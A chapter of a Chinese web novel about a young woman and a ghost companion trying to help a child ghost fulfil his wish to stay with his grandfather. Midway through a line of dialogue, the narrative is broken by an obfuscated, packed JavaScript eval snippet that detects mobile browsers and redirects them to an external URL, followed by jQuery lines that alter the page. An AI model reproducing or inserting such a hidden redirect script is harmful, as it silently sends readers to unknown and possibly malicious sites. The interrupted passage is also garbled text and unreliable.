29. 万事开头难
作品:《您的用户不在服务区》 “你说,我们该从哪入手好呢?”
张祎宁坐在树台上,捅了捅一旁的刘元詹。树台面上贴的是瓷砖,这个时节坐上去有点拔凉。
“不知。”
张祎宁摩挲下巴的手一顿,不满地抗议:“发挥你的主观能动性!你走过的路比我吃过的盐还多!”
刘元詹不合时宜地虚心好学:“何为主观能动性?”
“就是发挥你的作用、你的优势,”说到“优势”,张祎宁灵机一动,“你们都是鬼,更有话题聊,你去和他套近乎,先换取他的信任。”
此计显然让刘元詹十分为难,他看了眼正对面墙角沙堆里捣鼓沙子的小小,犹豫道:“他果真明白自己是鬼吗?”
“那就不聊这个,聊点孩子的话题,”张祎宁拊掌,激动道:“动画片!相信我,这世界上的每个小孩都知道《海绵宝宝》,你就跟他聊海绵宝宝!”
刘元詹不太有把握,“说海绵宝宝就可?”
张祎宁却坚定地重重点头,“放心吧,我就在这,你大胆去社交。”
刘元詹不记得生前的自己有怎样的性格,但有限的记忆中确实找不出太多他主动与人攀谈的画面,即使面对的是个孩子,他也感到压力。
“你在做什么?”他蹲下身子,轻声问道。
“哥哥,我在玩沙子,你要加入吗?”稚气的声音向他发出邀约。
“如何玩?”
“这里是城邦,有爷爷有小小有很多人生活,”小小指着自己的左侧一片区域,然后手指右移,“这里是骑士的战场,这个举起双手的是爱迪奥特曼,他对面正在喷火的是大怪兽,哥哥小心,你的左脚再偏一点就要踩塌桥了,”小小善意提醒道,“只要爱迪奥特曼打败了怪兽,小小和爷爷还有城里的人就能到桥那边的花园去玩啦,这个花园是神仙建的,可漂亮,而且只要在花园里许的愿,神仙都会帮忙实现!”
刘元詹伸出手,徒劳地摸了一把沙子,问道:“你许了什么愿呢?和爷爷永远在一起吗?”
“我许的愿是吃巧克力不会掉牙!”小小骄傲地仰起脸,继续介绍他的宏伟蓝图:“这个怪兽有点厉害,我正在做另一个赛文奥特曼,两个奥特曼合体打怪兽!哥哥也可以做点什么,除了怪兽都可以。”
“为什么不直接向神仙许愿让怪兽消失?”
“哥哥没看过奥特曼吗?神仙怎么能打赢怪兽?只有奥特曼才能打赢怪兽。”小小撇撇嘴。
刘元詹从一开始就听不懂小小说的那些东西,现下听到小小的疑问,他决心将话题拐回自己擅长的领域,完成张祎宁的托付,遂问道:“你知道海绵宝宝吗?”
小小继续埋首自己的大工程,摇头道:“不知道,那是什么东西?”
出师未捷身先死,竟然折戟在第一步,刘元詹茫然地转头向张祎宁求助。但张祎宁看见他因为难而蹙起的眉峰,不知道具体发生了什么事,只能握起双拳给他打气,鼓励他继续聊下去,希望可都寄托在他身上了。
刘元詹只能继续磕磕绊绊地回答:“那是……叫动画片。你没看过吗?”
小小堵上了他的退路,答道:“没有,我只看过奥特曼、熊出没、超级飞侠、钢铁飞龙,还有电击小子。”
他铩羽而归,比起毫无收获的失落,要如何将结果告知张祎宁才是此刻他挪不动脚步的原因。不管是人是鬼,嘴巴笨都是硬伤。
“如何如何?你们聊了好一会儿。”
刘元詹的脸上不甚明朗,支吾道:“他……他说他没看过《海绵宝宝》……”
张祎宁不敢相信地揉揉耳朵,怀疑是刘元詹没听懂对方的话,复问道:“他是怎么说的?”
刘元詹原原本本地复述:“他说他不知道海绵宝宝,并问我那是什么东西,我告诉他是动画片,他说没有看过。”
没看过《海绵宝宝》?!这难道不是每个小孩的童年必备启蒙影片吗?
“他不看动画片?”
刘元詹苦思冥想,只能检索出少数几个关键词,“ao?aoteman?还有dianji小子,还有一些,我未解。”
奥特曼啊……也是,小男孩喜欢看奥特曼,还有一个应该是《电击小子》。张祎宁不敢直视他了,自己言之凿凿“这世界上的每个小孩都知道《海绵宝宝》”,结果上来就遇滑铁卢,就连张祎宁这个二十多岁的和这年纪的小孩之间都有一条不知深浅的鸿沟了,她怎么会指望一个“老夫子”?
她尴尬地笑了笑,岔开话题:“没关系,奥特曼和电击小子,我们回去就恶补。”
*
野笋老鸭煲和姜葱炒蟹,张祎宁习惯性先关注门口招牌上的今日推荐,发现竟有两道大菜,现下膏蟹肥美,经由老金烹饪,简直没有难吃的空间,可惜,她这个月已经与全勤奖擦肩而过,也没遇到能犒劳自己的喜事,这螃蟹看来是有缘无分。
叮铃。
清脆的铃声响起,有人推门而出。
她下意识侧过身让路,对上一张微怔的面孔,这张脸上镶嵌有硬朗的五官,檐下的廊灯和门半开透出的暖光在他的脸上重叠,逐渐扩散至另外藏在阴影里的半侧,不及露出,又重新掩入阴翳。
门关上了,对方移开短暂停留在张祎宁身上的视线,步履矫健,将四下的夜风一袭卷走,残留的一缕扑向了她的面门。
她重新推开那扇阖起的门。几乎是立时,她就推翻了刚才的打算,全勤奖下个月还可以努力,但秋季的蟹错过又要等一年!“鲜”味像是刻在人类基因片段里,每个人对它的感知和灵敏度都不同,你也很难清楚转述这究竟是一种什么味道,但当这股味道通过鼻腔、口腔时,它就像受到感召,传达至大脑,清晰地告诉你——这就是“鲜”。
“来得正好,把碗筷收拾了。”
杜文新就是那种蹬鼻子上脸的人,别给他嗅到软肋,一旦被拿捏,他会骑脸。
张祎宁到现在为止还没从他那薅来一单,自然不会听之任之,笑嘻嘻问道:“杜老板这小店时薪多少呀?”
他端起水杯喝了一口润喉,也回笑道:“那自然是行业里拿得出手的,我这有一条消息,你保管感兴趣。”
张祎宁跳上吧台前的高脚凳,饶有兴致地问:“什么消息?”
“先收拾。”
“什么类型的消息?你不给个提示,谁知道是不是坑?”
杜文新抱臂,自信地说:“童叟无欺,我说你感兴趣,你就一定感兴趣。”
听他这么打包票,张祎宁不再犹豫,接下了活计。如果洗个碗就能换条消息,她不介意再多个“洗碗工”的兼职。
张祎宁利落地将碗碟和两双筷子放进砂锅,端着砂锅来到厨房门前,将砂锅稳当地转移至右手手心处,空出左手旋开厨房门把手。
“既然死乃唤作圆寂,洒家今已必当圆寂,烦与俺烧桶汤来————”
她停在原地,声声戏文也戛然而止。老金坐在橱柜旁,手里握着个迷你扬声器,和张祎宁四目相对。
“我……”
杜文新轻扯过她的小臂,自然地将厨房门关上,两秒后,屈指轻敲,随后才重又打开,提醒道:“以后记得敲门。”
她轻声应:“哦。”
虽不是见不得人的秘辛,但莫名的尴尬还是在厨房蔓延开,人一尴尬就会开始装忙,例如突然开始擦灶台的老金和开大水流的张祎宁。
“老金,还有螃蟹吗?”张祎宁和老金的交集都局限在食物,所以她试图以此话题驱散不自在的氛围。
“今天就准备了两份,都卖完了。你想吃?”
“一进门就闻到香味啦,馋虫都勾了出来。”
“下周吧,下周的蟹会更肥,我到时告诉你,给你备上。”老金提着抹布走来,“你别洗了,小杜的活让他自己干。”
老金都发话了,张祎宁当然是乐意之至,她直接将碗撂下,退了出去,并贴心地提示:“刚刚那个停在‘烧桶汤来’,你继续,你继续”,然后将门轻轻带上。
“消息呢?快说。”张祎宁欺身上前,目光如炬。
杜文新不疾不徐道:“还记得吴智宁吗?”
当然记得,他让自己足足做了一个星期的噩梦,“记得。”
“他解脱了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471086|185225||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“灰飞烟灭还是轮回转世了?”
杜文新一边发出啧啧声一边摇头:“你不是掌簿吗?在你眼中,灰飞烟灭也算解脱?”
张祎宁耸耸肩,没有否认:“未尝不是。”
“就这?这就是你说的消息?”
“你就说你感不感兴趣吧。”
张祎宁狠狠翻了个非常有可能翻不回来的大白眼,但也仅此而已。
竟然没有反唇相讥,一声不吭?杜文新奇怪地看着张祎宁转瞬就恢复了表情,又和刘元詹坐到“御用”角落,尽管疑惑,但他识相地没去触霉头。
今天的氛围BGM换了,但依然是“儿童主题餐厅”,只不过好像从海里回到了陆地上。
“《海绵宝宝》看完了,改看新动画片?”
张祎宁自己看不下去,但她不能让刘元詹受影响,说道:“别理他,咱这不是在娱乐,是在加班工作。”
杜文新感到好笑,张祎宁的招式很多,不管有没有用,挺花是真的,他有点同情刘元詹了,“是那个小鬼吧?他什么执念啊要劳动刘元詹搞这么麻烦一出?”
张祎宁抓住机会大吐苦水:“他想和他爷爷一直在一起。一个大活人一只鬼,怎么在一起?这就是小半个刘元詹……”后半句话嘟嘟囔囔,囫囵发了通牢骚。
杜文新笑了笑,半是同情,半是玩味,“你这体质挺特殊,算天赋异禀。”
“但照你这办法,一个月都未必能搞定这单。”
闻言,张祎宁泄气地将头埋进臂弯里,杜文新的话让她更急躁了,《电击小子》130集,看完黄花菜都凉了,就算不必全都看完,这也只是初步试探拉近关系的第一步,往后的计划还没影呢。别说冲击阎王之位,就连这个月的KPI都岌岌可危。
*
螃蟹没吃上,守株待兔的兔没蹲到,《电击小子》没看几集,张祎宁的嘴角倒起了个泡。
罗汉床房东不让扔,她就买了张厚实的毛绒毯盖上,学着刘元詹的样子,盘起双腿,沉心静气地打坐,只嘴里念念有词:“不急不急,万事大吉,不慌不慌,好事成双……”
闭上了眼,脑子里的画面就更清晰。有一人的面容浮现,她蓦地睁开眼,“刘元詹,还记得今晚从店里出来的那个男人吗?你对他有印象吗?”
刘元詹点点头,“他看见我了。”
果然,她没有错过那一闪即逝的灵光,她当时就隐隐有感,只是无法确定,但人对落在自己身上的视线会更敏感,好在刘元詹捕捉到了,予以佐证。
“我大概猜到他是谁了。我收拾的那桌有两副碗筷,但出来的只有他一个,我想也许他是和杜文新或者老金一起吃的,杜文新那个消息应该就是他带来的,当时杜文新对吴智宁提到了王警官,大概就是他。”
“也就是随便一猜,对与不对都不重要,人家没挑明身份就是不想张扬,我也不在意。唉,吴智宁,总算可以不再被火困住,不用沉浸在目睹自己烧成灰的噩梦中了。”张祎宁有感而发,顺嘴说了几句心里话。
烧成灰……烧成灰!
她一个激灵站了起来,双眼放光,“刘元詹!你说!‘你’究竟指代的是什么?什么算是‘你’?有多具体?活着的躯壳算你吗?死掉以后鬼的形态算你吗?烧剩下的骨灰算不算你!?”
刘元詹顺着她的问题忖度了一会儿,不甚确定地回答:“应该……都算。”
“对啊!照理说都算的!你看啊,如果是活着的躯壳,那小小早死透了,是不可能达到的,那如果是鬼的形态,又为什么不能是骨灰呢?小小想和爷爷一直在一起,如果我让他的骨灰陪着他爷爷,能不能也算一种形式的实现呢?”
刘元詹也找不出反驳的理由,于是他加深了张祎宁对这个主意的认同,应承道:“可行。”
一口浊气吐出,张祎宁满意地重新坐下,翘起二郎腿。此时,手机有消息提示音,她拿起一看,是杜文新,对方发了个发怒的表情包,张祎宁想起自己洗到一半的碗碟,由衷笑了。
不急不急,万事大吉;
不慌不慌,好事成双。